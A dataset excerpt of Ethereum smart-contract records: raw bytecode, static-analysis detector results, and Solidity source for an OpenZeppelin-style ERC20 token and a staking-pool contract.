611375565b612dcd336130e4565b80612ddb5750612ddb61294d565b612e165760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60408051636618846360e01b81526001600160a01b0384811660048301526024820184905291518592831691636618846391604480830192600092919082900301818387803b158015610e8457600080fd5b612e71336130e4565b80612e7f5750612e7f61294d565b612eba5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60195460408051630fc8303d60e11b81526001600160a01b0384811660048301526024820186905291519190921691631f90607a91604480830192600092919082900301818387803b158015612f0f57600080fd5b505af1158015612f23573d6000803e3d6000fd5b505050506002600f0160405180828054600181600116156101000203166002900480156112065780601f106111e4576101008083540402835291820191611206565b612f6d61294d565b612fac576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b611971816133f5565b612fbd61294d565b612ffc576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905182916001600160a01b0383169163a9059cbb91339184916370a08231916024808301926020929190829003018186803b15801561304e57600080fd5b505afa158015613062573d6000803e3d6000fd5b505050506040513d602081101561307857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915251604480830192600092919082900301818387803b1580156130c857600080fd5b505af11580156130dc573d6000803e3d6000fd5b505050505050565b6000805b60015481101561313057600181815481106130ff57fe5b6000918252602090912001546001600160a01b0384811691161415613128576001915050613136565b6001016130e8565b50600090505b919050565b613144336130e4565b80613152575061315261294d565b61318d5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6000839050600260030160405180828054600181600116156101000203166002900480156131f25780601f106131d05761010080835404028352918201916131f2565b820191906000526020600020905b8154815290600101906020018083116131de575b5050604080519182900382206001600160a01b038916808452600060208501528251919550935033926000805160206134ff83398151915292908290030190a4806001600160a01b031663056b01ce84846040518363ffffffff1660e01b81526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561329557818101518382015260200161327d565b50505050905090810190601f1680156132c25780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b15801561151257600080fd5b6132eb336130e4565b806132f957506132f961294d565b6133345760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6019546040805160016271242560e01b03198152600481018790526001600160a01b0386811660248301526044820186905284811660648301529151919092169163ff8edbdb91608480830192600092919082900301818387803b15801561339b57600080fd5b505af11580156133af573d6000803e3d6000fd5b505050506002600a0160405180828054600181600116156101000203166002900480156117585780601f10611736576101008083540402835291820191611758565b3390565b6001600160a01b03811661343a5760405162461bcd60e51b81526004018080602001828103825260268152602001806134966026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737341646d696e4d616e616765723a2061646d696e20616e64206f776e6572206f6e6c792e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657232a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2baca265627a7a7231582017bf01554628443d72e702728aeda896e3b5245badd982dc8f1023fd2d9b2e1f64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,627 |
0x710446f2c87bc94fe6b1c1ade45aed2ae74dd21a
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/QMGToken.sol
contract QMGToken is StandardToken {
string public name = "QuanMinGameToken";
string public symbol = "QMGT";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 100000000000000000000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b50610195610549565b3480156101f257600080fd5b506101fb61054f565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610558565b34801561024157600080fd5b50610195600160a060020a0360043516610647565b34801561026257600080fd5b506100d3610662565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106bd565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561079c565b3480156102bf57600080fd5b50610195600160a060020a0360043581169060243516610835565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a0383166000908152602081905260408120548211156103f957600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042957600080fd5b600160a060020a038316151561043e57600080fd5b600160a060020a038416600090815260208190526040902054610467908363ffffffff61086016565b600160a060020a03808616600090815260208190526040808220939093559085168152205461049c908363ffffffff61087216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104de908363ffffffff61086016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106105ac57336000908152600260209081526040808320600160a060020a03881684529091528120556105e1565b6105bc818463ffffffff61086016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b336000908152602081905260408120548211156106d957600080fd5b600160a060020a03831615156106ee57600080fd5b3360009081526020819052604090205461070e908363ffffffff61086016565b3360009081526020819052604080822092909255600160a060020a03851681522054610740908363ffffffff61087216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d0908363ffffffff61087216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561086c57fe5b50900390565b8181018281101561087f57fe5b929150505600a165627a7a72305820d24cafed6e126b50a9edc4bb79d82890dc0e6a61e0f309c4d0f6cc76212ac8a90029
|
{"success": true, "error": null, "results": {}}
| 8,628 |
0x3850a7bfca83bd565326990cc8c096dec504140d
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
pragma solidity 0.4.25;
/**
* token contract functions
*/
contract Ierc20 {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Owned {
address public owner;
event OwnerChanges(address newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner external {
require(newOwner != address(0), "New owner is the zero address");
owner = newOwner;
emit OwnerChanges(newOwner);
}
}
contract StakingPool is Owned {
using SafeMath for uint256;
Ierc20 public tswap;
Ierc20 public rewardToken;
uint256 poolDuration;
uint256 totalRewards;
uint256 rewardsWithdrawn;
uint256 poolStartTime;
uint256 poolEndTime;
uint256 totalStaked;
// Represents a single stake for a user. A user may have multiple.
struct Stake {
uint256 amount;
uint256 stakingTime;
uint256 lastWithdrawTime;
}
mapping (address => Stake[]) public userStaking;
// Represents total staking of an user
struct UserTotals {
uint256 totalStaking;
uint256 totalStakingTIme;
}
mapping (address => UserTotals) public userTotalStaking;
struct Ris3Rewards {
uint256 totalWithdrawn;
uint256 lastWithdrawTime;
}
mapping(address => Ris3Rewards) public userRewardInfo;
event OwnerSetReward(uint256 amount);
event Staked(address userAddress, uint256 amount);
event StakingWithdrawal(address userAddress, uint256 amount);
event RewardWithdrawal(address userAddress, uint256 amount);
event PoolDurationChange(uint256 poolDuration);
/**
* Constrctor function
*/
constructor() public {
tswap = Ierc20(0xCC4304A31d09258b0029eA7FE63d032f52e44EFe);
rewardToken = Ierc20(0xe047705117Eb07e712C3d684f5B18E74577e83aC);
poolDuration = 720 hours;
}
//Set pool rewards
function ownerSetPoolRewards(uint256 _rewardAmount) external onlyOwner {
require(poolStartTime == 0, "Pool rewards already set");
require(_rewardAmount > 0, "Cannot create pool with zero amount");
//set total rewards value
totalRewards = _rewardAmount;
poolStartTime = now;
poolEndTime = now + poolDuration;
//transfer tokens to contract
rewardToken.transferFrom(msg.sender, this, _rewardAmount);
emit OwnerSetReward(_rewardAmount);
}
//Stake function for users to stake SWAP token
function stake(uint256 amount) external {
require(amount > 0, "Cannot stake 0");
require(now < poolEndTime, "Staking pool is closed"); //staking pool is closed for staking
//add value in staking
userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.add(amount);
//add new stake
Stake memory newStake = Stake(amount, now, 0);
userStaking[msg.sender].push(newStake);
//add to total staked
totalStaked = totalStaked.add(amount);
tswap.transferFrom(msg.sender, this, amount);
emit Staked(msg.sender, amount);
}
//compute rewards
function computeNewReward(uint256 _rewardAmount, uint256 _stakedAmount, uint256 _stakeTimeSec) private view returns (uint256 _reward) {
uint256 rewardPerSecond = totalRewards.mul(1 ether);
if (rewardPerSecond != 0 ) {
rewardPerSecond = rewardPerSecond.div(poolDuration);
}
if (rewardPerSecond > 0) {
uint256 rewardPerSecForEachTokenStaked = rewardPerSecond.div(totalStaked);
uint256 userRewards = rewardPerSecForEachTokenStaked.mul(_stakedAmount).mul(_stakeTimeSec);
userRewards = userRewards.div(1 ether);
return _rewardAmount.add(userRewards);
} else {
return 0;
}
}
//calculate your rewards
function calculateReward(address _userAddress) public view returns (uint256 _reward) {
// all user stakes
Stake[] storage accountStakes = userStaking[_userAddress];
// Redeem from most recent stake and go backwards in time.
uint256 rewardAmount = 0;
uint256 i = accountStakes.length;
while (i > 0) {
Stake storage userStake = accountStakes[i - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(userStake.lastWithdrawTime);
}
}
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
i--;
}
return rewardAmount;
}
//Withdraw staking and rewards
function withdrawStaking(uint256 amount) external {
require(amount > 0, "Amount can not be zero");
require(userTotalStaking[msg.sender].totalStaking >= amount, "You are trying to withdaw more than your stake");
// 1. User Accounting
Stake[] storage accountStakes = userStaking[msg.sender];
// Redeem from most recent stake and go backwards in time.
uint256 sharesLeftToBurn = amount;
uint256 rewardAmount = 0;
while (sharesLeftToBurn > 0) {
Stake storage lastStake = accountStakes[accountStakes.length - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(lastStake.stakingTime);
if(lastStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(lastStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(lastStake.stakingTime);
if(lastStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(lastStake.lastWithdrawTime);
}
}
if (lastStake.amount <= sharesLeftToBurn) {
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, lastStake.amount, stakeTimeSec);
sharesLeftToBurn = sharesLeftToBurn.sub(lastStake.amount);
accountStakes.length--;
} else {
// partially redeem a past stake
rewardAmount = computeNewReward(rewardAmount, sharesLeftToBurn, stakeTimeSec);
lastStake.amount = lastStake.amount.sub(sharesLeftToBurn);
lastStake.lastWithdrawTime = now;
sharesLeftToBurn = 0;
}
}
//substract value in staking
userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.sub(amount);
//substract from total staked
totalStaked = totalStaked.sub(amount);
//update user rewards info
userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);
userRewardInfo[msg.sender].lastWithdrawTime = now;
//update total rewards withdrawn
rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);
//transfer rewards and tokens
rewardToken.transfer(msg.sender, rewardAmount);
tswap.transfer(msg.sender, amount);
emit RewardWithdrawal(msg.sender, rewardAmount);
emit StakingWithdrawal(msg.sender, amount);
}
//Withdraw rewards
function withdrawRewardsOnly() external {
uint256 _rwdAmount = calculateReward(msg.sender);
require(_rwdAmount > 0, "You do not have enough rewards");
// 1. User Accounting
Stake[] storage accountStakes = userStaking[msg.sender];
// Redeem from most recent stake and go backwards in time.
uint256 rewardAmount = 0;
uint256 i = accountStakes.length;
while (i > 0) {
Stake storage userStake = accountStakes[i - 1];
uint256 stakeTimeSec;
//check if current time is more than pool ending time
if (now > poolEndTime) {
stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
}
} else {
stakeTimeSec = now.sub(userStake.stakingTime);
if(userStake.lastWithdrawTime != 0){
stakeTimeSec = now.sub(userStake.lastWithdrawTime);
}
}
// fully redeem a past stake
rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
userStake.lastWithdrawTime = now;
i--;
}
//update user rewards info
userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);
userRewardInfo[msg.sender].lastWithdrawTime = now;
//update total rewards withdrawn
rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);
//transfer rewards
rewardToken.transfer(msg.sender, rewardAmount);
emit RewardWithdrawal(msg.sender, rewardAmount);
}
//get staking details by user address
function getStakingAmount(address _userAddress) external constant returns (uint256 _stakedAmount) {
return userTotalStaking[_userAddress].totalStaking;
}
//get total rewards collected by user
function getTotalRewardCollectedByUser(address userAddress) view external returns (uint256 _totalRewardCollected)
{
return userRewardInfo[userAddress].totalWithdrawn;
}
//get total SWAP token staked in the contract
function getTotalStaked() external constant returns ( uint256 _totalStaked) {
return totalStaked;
}
//get total rewards in the contract
function getTotalRewards() external constant returns ( uint256 _totalRewards) {
return totalRewards;
}
//get pool details
function getPoolDetails() external view returns (address _baseToken, address _pairedToken, uint256 _totalRewards, uint256 _rewardsWithdrawn, uint256 _poolStartTime, uint256 _poolEndTime) {
return (address(tswap),address(rewardToken),totalRewards,rewardsWithdrawn,poolStartTime,poolEndTime);
}
//get duration of pools
function getPoolDuration() external constant returns (uint256 _poolDuration) {
return poolDuration;
}
//set duration of pools by owner in seconds
function setPoolDuration(uint256 _poolDuration) external onlyOwner {
poolDuration = _poolDuration;
poolEndTime = poolStartTime + _poolDuration;
emit PoolDurationChange(_poolDuration);
}
//get SWAP token address
function getSwapAddress() external constant returns (address _swapAddress) {
return address(tswap);
}
//set tswap address
function setTswapAddress(address _address) external onlyOwner {
tswap = Ierc20(_address);
}
//set reward token address
function setRewardTokenAddress(address _address) external onlyOwner {
rewardToken = Ierc20(_address);
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302a01dc21461012d5780630917e7761461015a57806317608969146101855780632e0b78f61461019c578063360b8ed9146101c957806374363daa1461022757806385811fbf1461027e5780638da5cb5b146102d55780638db6c1191461032c578063908163021461038a5780639a6acf20146103f95780639ebde7811461043c578063a694fc3a1461047f578063a6b240fe146104ac578063aca34c1114610503578063c9e48653146105a9578063d82e396214610600578063e627f2db14610657578063f2fde38b14610682578063f7c618c1146106c5578063f7d57b811461071c578063fbc14bfb14610747575b600080fd5b34801561013957600080fd5b5061015860048036038101908080359060200190929190505050610774565b005b34801561016657600080fd5b5061016f61081b565b6040518082815260200191505060405180910390f35b34801561019157600080fd5b5061019a610825565b005b3480156101a857600080fd5b506101c760048036038101908080359060200190929190505050610c57565b005b3480156101d557600080fd5b5061020a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e6565b604051808381526020018281526020019250505060405180910390f35b34801561023357600080fd5b50610268600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140a565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b50610293611456565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e157600080fd5b506102ea611480565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033857600080fd5b5061036d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a5565b604051808381526020018281526020019250505060405180910390f35b34801561039657600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c9565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561040557600080fd5b5061043a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061150f565b005b34801561044857600080fd5b5061047d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ae565b005b34801561048b57600080fd5b506104aa6004803603810190808035906020019092919050505061164d565b005b3480156104b857600080fd5b506104ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4b565b6040518082815260200191505060405180910390f35b34801561050f57600080fd5b50610518611a97565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b3480156105b557600080fd5b506105be611b06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060c57600080fd5b50610641600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b2c565b6040518082815260200191505060405180910390f35b34801561066357600080fd5b5061066c611c6e565b6040518082815260200191505060405180910390f35b34801561068e57600080fd5b506106c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c78565b005b3480156106d157600080fd5b506106da611e1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072857600080fd5b50610731611e44565b6040518082815260200191505060405180910390f35b34801561075357600080fd5b5061077260048036038101908080359060200190929190505050611e4e565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107cf57600080fd5b8060038190555080600654016007819055507f93202f612f7aeb2a12b92bc5e92cd9600b71bbe0605f654cc7ce95e0025f2270816040518082815260200191505060405180910390a150565b6000600854905090565b60008060008060008061083733611b2c565b95506000861115156108b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f7520646f206e6f74206861766520656e6f7567682072657761726473000081525060200191505060405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020945060009350848054905092505b60008311156109e657846001840381548110151561091857fe5b9060005260206000209060030201915060075442111561097c5761094b826001015460075461214990919063ffffffff16565b90506000826002015414151561097757610974826002015460075461214990919063ffffffff16565b90505b6109be565b61099382600101544261214990919063ffffffff16565b9050600082600201541415156109bd576109ba82600201544261214990919063ffffffff16565b90505b5b6109cd84836000015483612165565b93504282600201819055508280600190039350506108fe565b610a3b84600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461223990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550610add8460055461223990919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ba857600080fd5b505af1158015610bbc573d6000803e3d6000fd5b505050506040513d6020811015610bd257600080fd5b8101908080519060200190929190505050507f5bf73990fdbbb1700fedc6b63f17f15c22d262a16352f0fd668471a1e3548ffe3385604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b60008060008060008086111515610cd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416d6f756e742063616e206e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b85600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410151515610db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f752061726520747279696e6720746f2077697468646177206d6f7265207481526020017f68616e20796f7572207374616b6500000000000000000000000000000000000081525060400191505060405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209450859350600092505b6000841115610f5357846001868054905003815481101515610e1d57fe5b90600052602060002090600302019150600754421115610e8157610e50826001015460075461214990919063ffffffff16565b905060008260020154141515610e7c57610e79826002015460075461214990919063ffffffff16565b90505b610ec3565b610e9882600101544261214990919063ffffffff16565b905060008260020154141515610ec257610ebf82600201544261214990919063ffffffff16565b90505b5b838260000154111515610f1457610edf83836000015483612165565b9250610ef882600001548561214990919063ffffffff16565b935084805480919060019003610f0e91906122b3565b